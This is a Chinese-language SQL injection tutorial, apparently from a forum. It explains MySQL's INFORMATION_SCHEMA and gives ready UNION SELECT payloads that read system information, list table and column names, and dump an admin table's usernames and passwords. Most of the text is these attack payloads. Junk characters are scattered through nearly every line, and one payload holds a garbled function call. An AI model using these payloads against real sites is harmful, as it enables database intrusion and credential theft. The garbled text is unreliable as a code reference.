本文介绍MYSQL盲注的一些语句和方法
. H3 i2 D) ^8 W% b5 v8 ]
9 ~7 D* K7 e/ C: |' c1 F9 k学习盲注前先了解下 IFORMATION_SCHEMA 库
6 d0 _0 m$ C8 ?4 N! `8 Q' W: w. h' A% X+ [' P( _- R4 K' g. x' p
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有+ O* o( Z( W, V5 w; W
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。) a! ^+ s, z% B6 @2 O! y
1.得到所有数据库名:1 d* }* R, x) A$ r3 ~* j
|SCHEMATA ->存储数据库名的表
2 C% X* H8 r k+ `: d: r+ u|---字段:SCHEMA_NAME ->数据库名称
0 Q0 A5 y8 w6 m4 Q. o- ^/ M9 Y, _3 z
: O% t2 T1 x: y( Y' c+ h|TABLES ->存储表名
$ r8 c# |; s' i- e( B|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
6 f3 L2 `+ j& ~# i2 \" Q! Q/ T|---字段:TABLE_NAME ->存储表的表名
( S' L. K6 I0 N) t h' n' J2 T$ z& D( v9 K+ I1 k
|COLUMNS ->存储的字段名表* t; j3 e+ d8 I: }9 l8 J, S/ T
|---字段:TABLE_SCHEMA ->该字段所属数据库名) t; o. o; B* @3 W+ V" f) [
|---字段:TABLE_NAME ->存储所属表的名称
P1 C5 u- X! H5 {* `0 b3 x! Y g6 g. p6 n. Z) z& K/ Q; L5 _
|---字段:COLUMN_NAME ->该字段的名称
$ C) y# W4 O& l) i7 n5 {! q( b4 R( G5 a8 \4 {3 N* O
4 o. J4 h$ R0 R+ @: t3 w$ x
, t8 i! w: z1 |3 s$ X+ ~###########################################################################8 y% B' s! g d( c* x" e, n' `, n
; x1 Z7 S) o+ \) F: G$ ~
0x001 获取系统信息:
& q) p' [* q0 c
, V1 X! S5 n8 S5 c% J3 ~* kunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*8 K9 N5 j$ C. p7 D
* M/ [2 _( M3 l* ?2 p. H' ]/*$ }3 V" Q6 g4 h& h: Q$ y! `+ k" j* ^
8 }# B) G# R4 l0 P@@global.version_compile_os 获取系统版本; A3 J+ G1 s E
5 Z! t% T# h+ B# M) u0 |@@datadir 数据库路径# s) | {! N: j" U
database() 当前数据库名称
: x' x3 X. |( j0 ^8 k0x3c62723e 换行HEX值" I) q* R8 a* {$ D4 _; s5 l/ Y
8 ]7 p/ a( l& j$ R0 F) X*/* ?& `$ f, B4 B3 L: t
1 o3 o, ]4 y! c2 ~5 G
4 H" s* K' m: i& |
* [/ j3 Z2 N. K######################################################################0 s- `* x# x" m
6 \: |4 z0 _; @( z4 P9 E0x002 获取表名
, \; d% }( o7 l- ?! Q# V5 D) D" K9 N. }
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
# x/ F3 V! X2 O k/ o' f2 x$ M1 [) i; Y, [
/ U8 _9 r9 C0 k" _$ B; s, [2 J* g/ C
/*. o& u! K% ]3 ?6 V2 h
. ?( [" t, ^, i; l
0x67617264656e 为当前数据库名6 g# Q) k! a1 t. N
2 \& o' A4 k: t1 k$ o6 J- T
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
- |+ F2 P9 E c
+ o3 P( z! G" V, f/ r% M*/
1 N# }* c8 _; r4 {" n+ h
6 ?, t1 b$ O }; b/ o* N4 s######################################################################
2 V$ q6 \! L. }' p- v, K
& \3 B4 K& ?9 Z6 a6 w3 |9 n4 f . j: c* r& u/ R4 S& V
" B) v$ x2 R! q' K4 V& M1 l
0x003 获取字段: O( W7 ]* `/ \. R
9 N. J' V* l: {* eunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
1 R$ P- v& O d6 l2 V" @1 `9 S
& B4 H8 @% X- V# X/*) X8 ~- r- E) }4 B$ S
4 D% _. L5 D Zgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
5 j& c1 N7 v- P. ?$ C) u7 S. K* h" X
0x61646d696e ->选择一个表
5 G4 H5 }& y! [' e8 x2 J+ N' B% Y
0x67617264656e ->数据库名& Q- }- I* I4 _
$ P( d, V7 K6 Q" F% w) k5 X1 G*/
$ `- U" {/ m) E5 |3 L1 @, q5 B P4 d c e) v# m
#####################################################################& T" z0 S0 V# U& y$ G
0 v% v, z; |" ~% Z% `6 ~ 8 L* R8 B" w" P- n& x
6 F7 ^* U9 r4 Q0x004 获取数据
+ O; u, b& S$ w+ B3 C8 b+ c( r# |' m' |' w8 R" r/ E1 j
union select 1,2,3
: Y' d( C" _+ g. M6 Y8 k,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 X) u3 \) U {0 u% u! d# C6 P/ W* Y* j9 F$ P) T% d( a0 J
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin9 W3 H" Q2 x+ a; d
1 s2 n% ^0 E& \( B; E" H' U/ Q1 I( A/ Q 5 G# {+ B$ G+ |- x
# U) B4 H. D; n' \: @( j/ l; R' ^* f
/*6 F: {) l8 x) i4 D F
9 p$ a! ]% e5 s0x3c62723e 换行符号HEX编码 u" f/ T& x) M( d7 y
, b' f! u% y0 R$ j$ |8 {1 N) [group_concat 同时获得该字段所有数据1 ^& r7 A9 w- Z/ n: m$ ~
2 W8 N9 M7 @. I# m$ I$ q. U
*/1 |! c6 Q' D N ^/ \
; B& O# }0 F" e+ r
|